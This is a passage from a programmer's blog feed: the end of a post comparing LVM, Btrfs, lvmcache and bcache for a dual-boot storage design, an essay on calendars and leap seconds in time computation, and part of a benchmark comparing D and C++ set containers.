      LVM diagram, by Troy Curtis Jr from the Fedora Magazine.

    </figcaption></figure>

<p>While LVM and <a href="https://wiki.archlinux.org/title/Btrfs">Btrfs</a> are not mutually exclusive, they have similar features:</p>
<ul>
  <li>Volume management: both can distribute storage across multiple devices, but in LVM you have to manually resize logical volumes.</li>
  <li>Snapshots: both can create (sub)volume snapshots for backups, but I think Btrfs’s are faster because of CoW.</li>
  <li>RAID: both provide support for RAID, but <a href="https://btrfs.readthedocs.io/en/latest/Status.html#raid1-raid10">Btrfs’ is less mature</a>.</li>
  <li>Compression: Btrfs has transparent compression and deduplication.</li>
  <li>Caching: Btrfs does not have an equivalent of LVM’s <code class="language-plaintext highlighter-rouge">lvmcache</code> for hybrid storage, unless you count hybrid RAID1 (but that requires equal-sized block devices).</li>
</ul>

<p>While I’ll keep the default LUKS -&gt; LVM -&gt; ext4 used in Ubuntu 24.04, I’ll set up Btrfs on Arch because:</p>
<ol>
  <li>I don’t want to explicitly resize subvolumes.</li>
  <li>Arch is a rolling release distro, so I’ll want fast snapshots on every update.</li>
  <li>I want a RAID1 solution that works under LUKS (such as <a href="https://en.wikipedia.org/wiki/Mdadm"><code class="language-plaintext highlighter-rouge">mdadm</code></a>), not on top of it, so I wouldn’t be using LVM or Btrfs for their RAID features anyway.</li>
  <li>Btrfs’s compression and deduplication should help reduce SSD disk usage.</li>
  <li>I don’t need a hybrid storage cache for the Arch system, since it will fit entirely in the SSD.</li>
</ol>

<p>Since I’ll have my personal stuff on top of Btrfs, I might as well use it in the HDD backup partition.
That will allow me to use <a href="https://wiki.archlinux.org/title/Btrfs#Send/receive">Btrfs’s send/receive operations</a> in order to easily move local snapshots to the HDD, and then later from the HDD to an external backup device.</p>

<p>With that in mind, here’s how I expect my personal OS to look like after booting:</p>

<p><img src="/assets/images/dual-boot/os-arch.png" alt="sketch-arch" /></p>

<h2 id="lvmcache-vs-bcache">lvmcache vs bcache</h2>

<p>I’m going to reserve 100 GiB in the SSD for my work system.
Depending on the development tools I use, I know that’s not going to be enough storage, in which case I’ll need to store data in the (<a href="#appendix-a---ssd-vs-hdd-speeds">5x slower</a>) HDD as well.</p>

<p>Setups like this are pretty common nowadays: just keep your base OS installed in the SSD, while large(r) files go in the slower HDD.
Since frequent access to large files could also benefit from SSD speed ups, some people will go the extra mile and move hot data to the SSD, then place them back on the HDD when they’re no longer being used that often.</p>

<p>The thing is: I don’t want to do that kind of optimization manually, transferring files back and forth between disks.
This is precisely why I’m interested in setting up a <a href="https://en.wikipedia.org/wiki/Hybrid_drive">hybrid storage solution</a>, in which the SSD acts as a cache to the HDD.</p>

<p>It seems that the standard options for doing this on Linux are <a href="https://www.man7.org/linux/man-pages/man7/lvmcache.7.html">lvmcache</a> and <a href="https://www.kernel.org/doc/Documentation/bcache.txt">bcache</a>.
Here’s a few points I gathered while researching those technologies:</p>
<ul>
  <li>lvmcache runs on top of LVM, which I’ll already be using in the Ubuntu install.</li>
  <li>LVM snapshots are not possible on a cached volume; that’s OK for me but could be a deal breaker for others.</li>
  <li>In an encrypted system, bcache should sit between LUKS and the file system, and I don’t see how to do that without deviating from the standard Ubuntu 24.04 encrypted install.</li>
  <li>A <a href="https://www.reddit.com/r/linux/comments/r3qe32/bcache_vs_lvmcache_in_2021_whats_the_general/">few comments on Reddit</a> and a <a href="https://omattos.com/2020/01/02/bcache.html">specific blog post</a> convinced me that bcache had many issues back in 2020-2021; I’m not sure if those were fixed since then.</li>
  <li>On the other hand, I see <a href="https://blog.patshead.com/2022/05/using-lvmcache-for-gaming-and-video-editing-what-i-have-learned-so-far.html">people happily using lvmcache</a> in 2022.</li>
</ul>

<p>In case it wasn’t obvious, I’ll be going with lvmcache for my work OS:</p>

<p><img src="/assets/images/dual-boot/os-ubuntu.png" alt="sketch-ubuntu" /></p>

<h2 id="next-steps">Next steps</h2>

<p>Of course, the next step is actually implementing these designs.</p>

<p>I’ll set up everything in a VM first and document how I did it in the next few blog posts.
Then, if everything works, I’ll apply it to my actual machine.</p>

<p>See you in the <a href="../ubuntu-24.04-encrypted">next part!</a></p>

<h2 id="appendix-a---ssd-vs-hdd-speeds">Appendix A - SSD vs HDD speeds</h2>

<p>I wanted to understand just how faster my M.2 2280 SSD was over my old 5400 RPM HDD, so I ran a few tests using <code class="language-plaintext highlighter-rouge">hdparm</code> and <code class="language-plaintext highlighter-rouge">gnome-disk-utility</code>.</p>

<p>I started by carving out 2 GiB partitions from the free space on each drive:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/dev/sda2</code> is on the SSD</li>
  <li><code class="language-plaintext highlighter-rouge">/dev/sdb7</code> is on the HDD</li>
</ul>

<p>Running the default GNOME Disks R/W benchmark on the unformatted partitions yields the following results (read rates can be confirmed by a few runs of <code class="language-plaintext highlighter-rouge">hdparm -t</code>):</p>

<table>
  <thead>
    <tr>
      <th>Device</th>
      <th style="text-align: right">Average Read Rate</th>
      <th style="text-align: right">Average Write Rate</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>SSD</td>
      <td style="text-align: right">540.8 MB/s</td>
      <td style="text-align: right">457.8 MB/s</td>
    </tr>
    <tr>
      <td>HDD</td>
      <td style="text-align: right">112.1 MB/s</td>
      <td style="text-align: right">93.2 MB/s</td>
    </tr>
  </tbody>
</table>

<p align="center">
  <img alt="raw-ssd-benchmark" src="/assets/images/dual-boot/raw-ssd.png" width="49%" />
  <img alt="raw-hdd-benchmark" src="/assets/images/dual-boot/raw-hdd.png" width="48.5%" />
</p>

<h2 id="appendix-b---mdadm-vs-btrfs-for-hybrid-ssdhdd-raid1">Appendix B - mdadm vs Btrfs for hybrid (SSD+HDD) RAID1</h2>

<p>While mdadm is the <a href="https://raid.wiki.kernel.org/">default option for software RAID on Linux</a>, I found out that Btrfs supports RAID1 natively.
Therefore, I could choose between the following stacks for my personal OS:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  mdadm RAID1 -&gt; LUKS -&gt; Btrfs  |   LUKS -&gt; Btrfs with RAID1
                                |
SSD: [ mdadm | LUKS | Btrfs ]   |  SSD: [  LUKS  |  Btrfs  ]
         |                      |                     |
         | RAID1 mirroring      |                     | RAID1 mirroring
         v                      |                     v
HHD: [ mdadm | LUKS | Btrfs ]   |  HDD: [  LUKS  |  Btrfs  ]
</code></pre></div></div>

<p>If I wasn’t using disk encryption, I might have gone with the simpler Btrfs-only stack.
However, since Btrfs sits on top of LUKS, RAID1 would only kick in after both partitions were decrypted.</p>

<p>Another issue is performance on a hybrid storage setup: according to <a href="https://superuser.com/questions/874673/btrfs-raid1-ssd-non-ssd/875655#875655">this answer</a>, “the btrfs raid 1 disk access algorithms work by reading from one disk for even-numbered PIDs, and the other for odd-numbered PIDs”.
In other words: disk access speed will suck for half of your processes.
Online discussions pointed me to <a href="https://github.com/torvalds/linux/blob/master/fs/btrfs/volumes.c#L6045">the source code</a>, which does appear to be distributing reads based on PIDs as per a <code class="language-plaintext highlighter-rouge">BTRFS_READ_POLICY_PID</code>.</p>

<p>In conclusion: I’ll forget about Btrfs RAID1 for now.
Maybe in the future, when it provides a better RAID1 access distribution policy (and maybe native encryption, I’ve heard that’s on the roadmap), I’ll consider it again for a setup like mine.</p>]]></content><author><name>Gabriel B. Sant&apos;Anna</name></author><category term="tutorial" /><category term="linux" /><summary type="html"><![CDATA[Advanced dual-boot setup - Part 0: Motivation and design]]></summary></entry><entry><title type="html">Time is a Lie</title><link href="https://www.baioc.dev/rant/time-is-a-lie/" rel="alternate" type="text/html" title="Time is a Lie" /><published>2023-07-17T00:00:00+00:00</published><updated>2023-07-17T00:00:00+00:00</updated><id>https://www.baioc.dev/rant/time-is-a-lie</id><content type="html" xml:base="https://www.baioc.dev/rant/time-is-a-lie/"><![CDATA[<p>In order to measure time, we need some periodic event to use as a time unit.
Then, if we can order two events one after the other, we can count elapsed time units between them.
That’s enough to measure relative time, but if two or more systems want to share timing information about events which were not observed by all participants, they also need a fixed frame of reference, an epoch.
For example, take two arbitrary events A and B, then count N units between them; what time was it when A happened?
With the information at hand, the best answer you can give is that A happened N units before B.
Then, what time was it when B happened? N units after A, of course.
If I didn’t observe neither A or B, that answer might be completely useless to me.</p>

<p>If you think the previous example is unrealistic, you probably haven’t tried to read Linux <code class="language-plaintext highlighter-rouge">dmesg</code> logs.
By default, <code class="language-plaintext highlighter-rouge">dmesg</code> adds a timestamp to each kernel message, and this timestamp is measured in terms of uptime, i.e., seconds since kernel startup.
If a user doesn’t know when the system was last turned on, it is impossible to answer things like “was this kernel warning issued in the last week?” unless you have also registered the start/end of the week using these timestamps, or you know for sure there was no reboot in the last week (to make things worse, uptime does not tick while the system is sleeping or hibernating, so you would also have to take standby time into account).</p>

<p>We could even use these requirements to synthesize a formal definition of a calendar.
I won’t bother, however, because as you’ll see, dealing with time and human calendars is incredibly complex.
If you’ve ever seen (or maybe written) code like this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">days</span> <span class="o">=</span> <span class="n">wholeMonths</span><span class="o">*</span><span class="mi">30</span> <span class="o">+</span> <span class="n">wholeYears</span><span class="o">*</span><span class="mi">365</span>
<span class="n">timeInSeconds</span> <span class="o">=</span> <span class="n">days</span> <span class="o">*</span> <span class="mi">24</span> <span class="o">*</span> <span class="mi">60</span> <span class="o">*</span> <span class="mi">60</span>
<span class="nf">createAlert</span><span class="p">(</span><span class="nf">now</span><span class="p">()</span> <span class="o">+</span> <span class="n">timeInSeconds</span><span class="p">)</span>
</code></pre></div></div>
<p>Then you probably knew, deep down, that it was imprecise.
But how bad can it get, really?
That calculation assumes:</p>
<ul>
  <li>Every month has 30 days.</li>
  <li>Every year has 365 days.</li>
  <li>Every day has \(24 \times 60 \times 60\) seconds.</li>
</ul>

<p>The truth is that every single one of these assumptions is wrong.</p>

<h2 id="ancient-lunisolar-calendars">Ancient Lunisolar Calendars</h2>

<p>One of the first periodic events we could observe was the cycle of day and night.
So the primitive man decided to use days as a base time unit, and to this days we’re paying for that decision while trying to maintain backwards compatibility to some extent.</p>

<p>Of course, the primitive man wasn’t that good with big numbers, and eventually chose a more coarsely-granular time scale: eras following lunar and/or solar cycles.
Meanwhile, their time anchors were based on political events, such as the crowning of a new ruler.
Using these systems, we can imagine someone referring to a specific day as “the 3rd day of the 200th crescent moon of the 11th Dynasty”.</p>

<p>Unfortunately, these astronomical events which guide our calendars don’t repeat on an integer number of days.
Still, we kept the day as a base time unit and decided that months and years must have a whole number of days.
As a result, we have to make our calendars slightly irregular in order to compensate the frequency difference between astronomical and civil calendars.
These drift-compensation mechanisms are called <a href="https://en.wikipedia.org/wiki/Intercalation_(timekeeping)">intercalary seconds/days/weeks/months</a>.</p>

<p>For example: if the lunar month had a period of exactly 29.5 days, and we alternated between 29 and 30 -day calendar months, these would be in sync with a maximum error of \(\pm 0.5\) days.
Then, in order to compute how long to wait until “this day next month”, we would need to take that into account:</p>
<div class="language-d highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">days</span> <span class="p">=</span> <span class="n">currentMonth</span><span class="p">.</span><span class="n">isEven</span> <span class="p">?</span> <span class="mi">30</span> <span class="p">:</span> <span class="mi">29</span><span class="p">;</span>
<span class="n">timeInSeconds</span> <span class="p">=</span> <span class="n">days</span> <span class="p">*</span> <span class="mi">24</span> <span class="p">*</span> <span class="mi">60</span> <span class="p">*</span> <span class="mi">60</span><span class="p">;</span>
</code></pre></div></div>
<p>But is the moon really that important, to the point where we need to change our calendar in order to keep them in sync?
Probably not, but the sun apparently is.</p>

<h2 id="leap-days-and-the-gregorian-reform">Leap Days and the Gregorian Reform</h2>

<p>We’re all familiar with <a href="Leap_year">leap (or bissextile) years</a>: every four years or so, the year has 366 days instead of the usual 365, and February ends on the 29th instead of the 28th.
This intercalary event happens because we want our civil calendar to have a whole number of days each year, while keeping it in sync with the solar calendar.
Unfortunately, the cosmos doesn’t care about integers nearly as much as we do, and the period of Earth’s revolution around the sun is approximately 365.2422 days (365 full days plus ~5.8128 hours).
This difference would cause the calendar year to drift over time with respect to certain astronomical events, notably seasons.</p>

<p>If we round the period difference between solar and calendar years from ~5.8128 to 6 hours, then adding an extra day to our calendars every four years would be enough to fix this drift precisely, and seasons would be off by at most 18 hours.
Since the period offset is actually smaller than 6 hours, doing this every four years would lead to an overcompensation.
This is precisely how the Julian calendar worked (or, how it didn’t work).</p>

<p>Currently, most of the world uses the Gregorian calendar, which was introduced in 1582 A.D. as a substitute to the Julian Calendar.
Before the Gregorian calendar was established, the Julian calendar had been running since 45 B.C., using excessive leap years.
This led to an offset (w.r.t. the solar year) of approximately 10 days, all of which were adjusted at once: in 1582, the next day after October <strong>4</strong> (a Thursday) was October <strong>15</strong> (a Friday).
After that point, we’ve been skipping leap years (we don’t add the leap day) on years which are multiples of 100 and not multiples of 400.
In the end, our maximum error with respect to seasonal events is approximately 2 days, and an era in the Gregorian calendar (a full period, taking leap days into account) is 400 years long.</p>

<p>The Julian-Gregorian transition doesn’t make time calculations any more complicated if you pretend the Gregorian calendar had always been in effect; in which case you would be using the <em>proleptic</em> Gregorian calendar.
Unfortunately, you might be surprised by date and time libraries trying to be smart about it.
<a href="https://stackoverflow.com/questions/23457470/calendar-to-date-conversion-for-dates-before-15-oct-1582-gregorian-to-julian-ca">Java is a notable example</a>, as converting a <code class="language-plaintext highlighter-rouge">java.util.Date</code> to a string will use a default-parameter <a href="https://docs.oracle.com/javase/8/docs/api/java/util/GregorianCalendar.html">GregorianCalendar</a>.
Despite the name, that implementation actually switches between Gregorian and Julian calendars when going across the transition, so these strings might lead to time calculations which are off by 10 days.</p>

<h2 id="iso-8601-and-leap-seconds">ISO 8601 and Leap Seconds</h2>

<p>Nowadays, we have standard representations / interchange formats for time and dates.
<a href="https://en.wikipedia.org/wiki/ISO_8601">ISO 8601</a> was first introduced in 1988, and it has some nice features:</p>

<ul>
  <li>Fixes the proleptic Gregorian calendar as an international standard for civil dates.</li>
  <li>Lexicographical order of the representation corresponds to chronological order.</li>
  <li>Robust applications can easily parse dates with higher-than-needed precision.</li>
</ul>

<p>Unfortunately, we’re still left with a couple of problems, mostly artifacts from the past.</p>

<p>When the <em>day</em> was used as a base time unit, we needed to compensate calendars based on units bigger than that, and anything smaller was simply defined as a fraction of a day.
So, in the past, the second was defined to be \(\frac{1}{24 \times 60 \times 60} = \frac{1}{86400}\) of a day.
Currently, in the <a href="https://en.wikipedia.org/wiki/International_System_of_Units">S.I.</a>, seconds are the base time unit, where 1 second is defined as “the duration of 9,192,631,770 periods of the radiation corresponding to the transition between the two hyperfine levels of the ground state of the caesium-133 atom”.
If we ignore relativistic frequency shifts, that’s pretty much a constant, and <a href="https://en.wikipedia.org/wiki/International_Atomic_Time">TAI</a> is a time standard which tracks time based on a monotonic clock, ticking precisely every second and centered around the Unix epoch <code class="language-plaintext highlighter-rouge">1970-01-01T00:00:00Z</code>.
Unfortunately, now that our base unit became smaller, solar time and civil time start differing, and calendar days need drift compensation as well.</p>

<p><a href="https://en.wikipedia.org/wiki/Universal_Time">UT1</a> is a time standard which tracks the Earth’s rotation angle, also known as solar time.
However, the Earth spins irregularly, and the length of a day has been slowly increasing for the past centuries (this is apparently caused in part by the moon).
This means that UT1 (solar time) and TAI (atomic time) are drifting apart.
Now, what we actually use to coordinate time worldwide is the UTC standard, which we decided would have seconds elapsing at the same rate as TAI, all while keeping it’s offset to UT1 to less than a second.
In this case, drift compensation is done by adding a <a href="https://en.wikipedia.org/wiki/Leap_second">leap second</a> every now and then.</p>

<p>Unlike leap days, however, the addition of leap seconds to UTC does not follow a regular schedule.
When it does happen, the last minute of the day goes from 00 to 60 (and this is compatible with ISO 8601), for a total of 61 seconds in that minute.
As of 2023, UTC is 37 seconds behind TAI, and the next scheduled leap second will be advertised in <a href="https://hpiers.obspm.fr/iers/bul/bulc/bulletinc.dat">“Bulletin C”</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Remember our initial assumptions?</p>

<ul>
  <li>Every month has 30 days.</li>
  <li>Every year has 365 days.</li>
  <li>Every day has \(24 \times 60 \times 60\) seconds.</li>
</ul>

<p>I’m sure you knew the first one was wrong already, since you’re used to the Gregorian calendar.</p>

<p>The second is also common knowledge, but we often forget about leap days.</p>

<p>The third is false in both UT1 and UTC, since days are getting longer, and every now and then we have a leap second to account for.</p>

<p>Furthermore, we can’t even refer to specific times in the past or future:</p>
<ul>
  <li>In ISO 8601, dates before 1582-10-15 can only be transmitted after mutual agreement of the parts exchanging information; this is done in order to avoid ambiguities and confusion related to the Julian-Gregorian transition.</li>
  <li>The fact that we can’t predict the addition of leap seconds to UTC makes it impossible to reference precise date-times in the future.</li>
</ul>

<p>In reality, the best we could do would probably be to forget about days, months and years altogether; use the Unix epoch as a reference, and atomic clocks to make sure frequency doesn’t drift away from the standard second.
Although this is feasible when we’re talking about computer systems, I’m not sure it will ever catch on.</p>

<p>In the end, UTC is the best we currently have for civil time, even if it is a lie.</p>]]></content><author><name>Gabriel B. Sant&apos;Anna</name></author><category term="rant" /><category term="standards" /><summary type="html"><![CDATA[Why your time calculation is wrong, and what do the sun and the moon have to do with that]]></summary></entry><entry><title type="html">On the performance of D sets</title><link href="https://www.baioc.dev/experiment/d-sets-btree/" rel="alternate" type="text/html" title="On the performance of D sets" /><published>2023-07-04T00:00:00+00:00</published><updated>2023-07-11T00:00:00+00:00</updated><id>https://www.baioc.dev/experiment/d-sets-btree</id><content type="html" xml:base="https://www.baioc.dev/experiment/d-sets-btree/"><![CDATA[<p>If I google “dlang sets”, the first result is <a href="https://forum.dlang.org/post/pzrahdwnnphcmdaevaln@forum.dlang.org">this forum post, “How to use sets in D?”</a>.
The main alternatives, brought up in the replies, consist of using <a href="https://dlang.org/phobos/std_container_rbtree.html">std.container.rbtree</a> or making a custom wrapper around the built-in associative arrays (AAs).
I’ll explore and compare the performance of those options, then try to come up with something better and, more importantly, something that works in <a href="https://dlang.org/spec/betterc.html">DasBetterC</a> mode.</p>

<h2 id="experimental-setup">Experimental Setup</h2>

<p>I’ve written four small parameterized benchmarks, one for each relevant operation on a mutable set data type:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">upsert</code>: creates an empty set container and upserts \(n\) random elements (of a given element type), measuring elapsed CPU time of all \(n\) insertions.</li>
  <li><code class="language-plaintext highlighter-rouge">lookupFind</code>: inserts \(n\) random elements, then looks up these same elements in the set (checking that they were found), while measuring only the lookups.</li>
  <li><code class="language-plaintext highlighter-rouge">lookupFail</code>: inserts \(2n\) random elements, removes the first \(n\), then looks them up (checking that they were NOT found).</li>
  <li><code class="language-plaintext highlighter-rouge">remove</code>: inserts \(n\) random elements, then removes them one by one, measuring only removals.</li>
</ul>

<p>In each of these, we measure elapsed CPU time (using <code class="language-plaintext highlighter-rouge">clock</code>) of performing all \(n\) operations.
Then, we repeat that 30 times in order to eliminate some measurement noise.
All elements are randomized once (using <code class="language-plaintext highlighter-rouge">rand</code>), in the very beginning of the test, with a fixed random seed, and the D garbage collector (GC) is executed before each of those repetitions.
Finally, we vary \(n\) across powers of two, \(2^{4} \le n \le 2^{20}\).</p>

<p>Since the payload does not change while repeating each experiment, we estimate performance using <a href="https://arxiv.org/abs/1608.04295">Chen and Revel’s</a> model: if \(measuredTime = realTime + randomDelay\), and \(randomDelay\) is always non-negative (the system can become slower at times due to other processes running, but not randomly faster), then the minimum value we can obtain of \(measureTime\) should be the best estimate of \(realTime\).
Once we have the estimate of how long it takes to perform an operation \(n\) times, we’ll report that time normalized by the number of repetitions, that is, \(estimateTime(n) \div n\).</p>

<p>AAs and <code class="language-plaintext highlighter-rouge">std.container.rbtree</code> both lack support for custom allocators, which makes it really hard to precisely measure their memory usage.
I’m aware of <a href="https://dlang.org/phobos/core_memory.html#.GC">core.memory.GC</a>, but it didn’t work as expected when I tried it and it could never be as precise as a custom allocator anyhow.
Since I’m lazy, I chose to use GNU <code class="language-plaintext highlighter-rouge">time</code>’s report of resident set size (RSS) as a single way to measure memory usage across D, C and C++ programs.</p>

<p>GNU time can be used to report the maximum RSS of a program, and in each experiment that should correspond to the point in <code class="language-plaintext highlighter-rouge">lookupFail</code> after inserting \(2n\) elements.
Then, we could get a (very rough) estimate of memory usage per element by dividing that value by the number of elements in each set.
It should be noted, however, that these \(2n\) elements were generated at random and are being deduplicated by the set, so the <a href="https://en.wikipedia.org/wiki/Birthday_problem">birthday problem</a> applies more and more as \(n\) grows.
Therefore, we also need to record the maximum number of elements stored in the set during a program run.
We also note that, for small \(n\), we expect max RSS to be incredibly imprecise, since most of it is being used by the language runtime.</p>

<p>For the sake of completeness, here’s more information about the system these micro-benchmarks ran on:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CPU: Intel i7-6700HQ (8) @ 3.500GHz
Caches (L1d, L1i, L2, L3): 128 KiB, 128 KiB, 1 MiB, 6 MiB
Memory: 16 GiB
OS: Pop!_OS 22.04 LTS x86_64
Kernel: Linux 6.2.6-76060206-generic
D compiler: ldc2 1.32.2
D flags: -O -release -inline -boundscheck=off
C++ compiler: g++ (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0
C++ flags: -std=c++17 -O3
time: time (GNU Time) UNKNOWN
Shell: bash 5.1.16
</code></pre></div></div>

<p>And <a href="/assets/docs/sets-raw.csv">here’s</a> a table with raw experimental results.</p>

<h2 id="aa-as-set-vs-stdcontainerrbtree">AA-as-set vs std.container.rbtree</h2>

<p>If we limit ourselves to the D runtime and standard library, we’ll be comparing hash-tables (AAs) and red-black trees (<code class="language-plaintext highlighter-rouge">std.container.rbtree</code>).
Since our inputs follow a uniform distribution, their hashes ought to be uniformly distributed as well, which is pretty much the ideal situation for hash tables.
Therefore, I expect the AA-based set to have much faster (average \(\mathcal{O}(1)\)) lookups than the tree-based set (\(\Theta(log_2 n)\)), and for lookup time to dominate other operations as well.</p>

<figure class=""><a href="/assets/images/eris/D-lookupFind-int.png" class="image-popup"><img src="/assets/images/eris/D-lookupFind-int.png" alt="D lookupFind - int" /></a></figure>

<figure class=""><a href="/assets/images/eris/D-lookupFail-int.png" class="image-popup"><img src="/assets/images/eris/D-lookupFail-int.png" alt="D lookupFail - int" /></a></figure>

<p>The two graphs above show results for <code class="language-plaintext highlighter-rouge">lookupFind</code> and <code class="language-plaintext highlighter-rouge">lookupFail</code>, respectively, using integer elements.
As predicted, AAs exhibit near-constant time complexity.
Meanwhile, lookups on the tree-based set become logarithmically slower as \(n\) increases – it only looks linear in our graphs because of the logarithmic scale on the horizontal axis.</p>

<p>The graph of our tree-based set looks like two connected lines, with the second having a larger slope.
I’m guessing this happens because, after a certain point, we’re hitting the next level of the memory hierarchy much more frequently.
Why do I think this?
Well, my CPU’s L1d, L2 and L3 sizes are 128 KiB, 1 MiB and 6 MiB, respectively.
Therefore, if we were to completely fill my L2 cache with 4-byte integers, it would fit at most \(262,144\) elements.
Since our data structures are never as memory-efficient as a giant array with contiguous elements, we start hitting L3 a little earlier than \(n = 262,144\), and we see that that’s approximately where the slope changes.</p>

<p>I won’t bother showing graphs for the other operations, since their shapes are pretty much the same.
In fact, I’m only showing both <code class="language-plaintext highlighter-rouge">lookupFind</code> and <code class="language-plaintext highlighter-rouge">lookupFail</code> (and in the same vertical scale) to note that the difference between a successful and a non-successful lookup is much more significant in a tree-based set (find is 1.56x faster than fail at \(n = 2^{20}\)) than in a hash-based set (resp. 1.18x).
Here’s a table summarizing the relative perfomance of these sets at a few input sizes:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Operation</th>
      <th style="text-align: right">AA speedup at \(n = 2^{7}\)</th>
      <th style="text-align: right">\(n = 2^{10}\)</th>
      <th style="text-align: right">\(n = 2^{20}\)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">upsert</code></td>
      <td style="text-align: right"><span style="color:orange">0.92x</span></td>
      <td style="text-align: right"><span style="color:green">1.74x</span></td>
      <td style="text-align: right"><span style="color:green"> 3.53x</span></td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">lookupFind</code></td>
      <td style="text-align: right"><span style="color:green">1.50x</span></td>
      <td style="text-align: right"><span style="color:green">5.00x</span></td>
      <td style="text-align: right"><span style="color:green">10.17x</span></td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">lookupFail</code></td>
      <td style="text-align: right"><span style="color:green">2.50x</span></td>
      <td style="text-align: right"><span style="color:green">3.94x</span></td>
      <td style="text-align: right"><span style="color:green">13.43x</span></td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">remove</code></td>
      <td style="text-align: right"><span style="color:green">1.67x</span></td>
      <td style="text-align: right"><span style="color:green">4.60x</span></td>
      <td style="text-align: right"><span style="color:green">11.60x</span></td>
    </tr>
  </tbody>
</table>

<p>It’s pretty clear that using AAs instead of <code class="language-plaintext highlighter-rouge">std.container.rbtree</code> should be preferred whenever you don’t need in-order iteration over set elements, as the performance gains range from pretty small to an order of magnitude (on most operations).
That is, of course, if you can get a uniform distribution of hashes.</p>

<p>For memory results, see the next section.</p>

<h2 id="d-vs-c">D vs C++</h2>

<p>Some people consider D to be a successor to C++, so I’m also interested in comparing the set data structures in each language’s standard libraries.
So, after some messing around with C++’s terrible templates and macros, I’ve ported our micro-benchmark program in order to add <code class="language-plaintext highlighter-rouge">std::set</code> and <code class="language-plaintext highlighter-rouge">std::unordered_set</code> to our comparison.</p>

<p>Before running anything, my expectations were that performance differences would come mainly from the different allocation strategies: garbage collection in D versus manual (de)allocations in C++.
In particular, I expected D sets to have slightly faster removals due to the GC-deferred deallocations.
I would normally expect allocations to be faster in C++ on average, but because the D GC is being executed before each round of operations, it shouldn’t affect upserts that much.
I also expected memory usage to be higher in D, mainly due to its heavier runtime.</p>

<p>Since tree-based and hash-based sets have quite a big performance gap in these benchmarks, we’ll separate these two groups.
With that said, let’s start with the tree-based containers, <code class="language-plaintext highlighter-rouge">std.container.rbtree</code> and <code class="language-plaintext highlighter-rouge">std::set</code> (charts below).
Both have very similar performance (which is to be expected, since they’re both red-black trees), but the D version is usually a bit faster at larger \(n\).
I was a bit surprised by the performance of upserts, which are faster in the C++ version for sets with less than a hundred thousand elements.
This might be related to the performance of memory allocation with the D GC, as opposed to C++’s <code class="language-plaintext highlighter-rouge">new</code>.</p>

<figure class=""><a href="/assets/images/eris/C++-tree-upsert-int.png" class="image-popup"><img src="/assets/images/eris/C++-tree-upsert-int.png" alt="D vs C++ - tree-based set - upsert - int" /></a></figure>

<figure class=""><a href="/assets/images/eris/C++-tree-lookupFind-int.png" class="image-popup"><img src="/assets/images/eris/C++-tree-lookupFind-int.png" alt="D vs C++ - tree-based set - lookupFind - int" /></a></figure>

<figure class=""><a href="/assets/images/eris/C++-tree-remove-int.png" class="image-popup"><img src="/assets/images/eris/C++-tree-remove-int.png" alt="D vs C++ - tree-based set - remove - int" /></a></figure>

<p>Our hash-based set comparison went similarly, with the D version being slightly faster on lookups, but slightly slower on insertions.
There was a bigger difference in removal performance in this group, with D AAs being consistently faster than <code class="language-plaintext highlighter-rouge">std::unordered_set</code>.
Removal speedups range from ~1.5x, up to 4.25x for bigger sets.
Once again, this might be explained by the different deallocation strategies; after all, D memory is only actually being deallocated during GC cycles, which either happen on insertions, or before the next experiment repetition (a manually-triggered full GC cycle which is not measured).</p>

<figure class=""><a href="/assets/images/eris/C++-hash-upsert-int.png" class="image-popup"><img src="/assets/images/eris/C++-hash-upsert-int.png" alt="D vs C++ - hash-based set - upsert - int" /></a></figure>

<figure class=""><a href="/assets/images/eris/C++-hash-lookupFind-int.png" class="image-popup"><img src="/assets/images/eris/C++-hash-lookupFind-int.png" alt="D vs C++ - hash-based set - lookupFind - int" /></a></figure>

<figure class=""><a href="/assets/images/eris/C++-hash-remove-int.png" class="image-popup"><img src="/assets/images/eris/C++-hash-remove-int.png" alt="D vs C++ - hash-based set - remove - int" /></a></figure>

<p>As for memory usage, here’s how our sets compare (graph below, but note the logarithmic scale on the vertical axis this time).
Once again, we’re normalizing our estimate of memory usage by the number of elements in each set.
As expected of our chosen memory metric (maximum process RSS), this leads to a huge overstatement of how much each element actually takes, at least for small \(n\).
Therefore, this measurement is better interpreted as “what is the maximum amount of bytes each element could be taking, assuming nothing else in the entire program contributed to RSS”.
For larger \(n\), however, I expect this estimate to tend towards the real per-element memory usage.</p>

<figure class=""><a href="/assets/images/eris/sets-rss-int.png" class="image-popup"><img src="/assets/images/eris/sets-rss-int.png" alt="set containers - memory usage - max rss per element - int" /></a></figure>

<p>Assuming the measure for our largest \(n\) is the better estimate, we end up with the following:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">container</th>
      <th style="text-align: right">max RSS per element (bytes)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">AA-as-set</td>
      <td style="text-align: right">2759 B</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">std.container.rbtree</code></td>
      <td style="text-align: right">2371 B</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">std::set</code></td>
      <td style="text-align: right">51 B</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">std::unordered_set</code></td>
      <td style="text-align: right">46 B</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">eris.btree</code></td>
      <td style="text-align: right">12 B</td>
    </tr>
  </tbody>
</table>

<p>While final values for the C++ containers seem reasonable, that’s far from true for the D sets.
I expected D’s heavier runtime to inflate memory usage measurements, and we can see that in the left part of the graph as a roughly constant offset between the logarithmic curves of D and C++ containers.
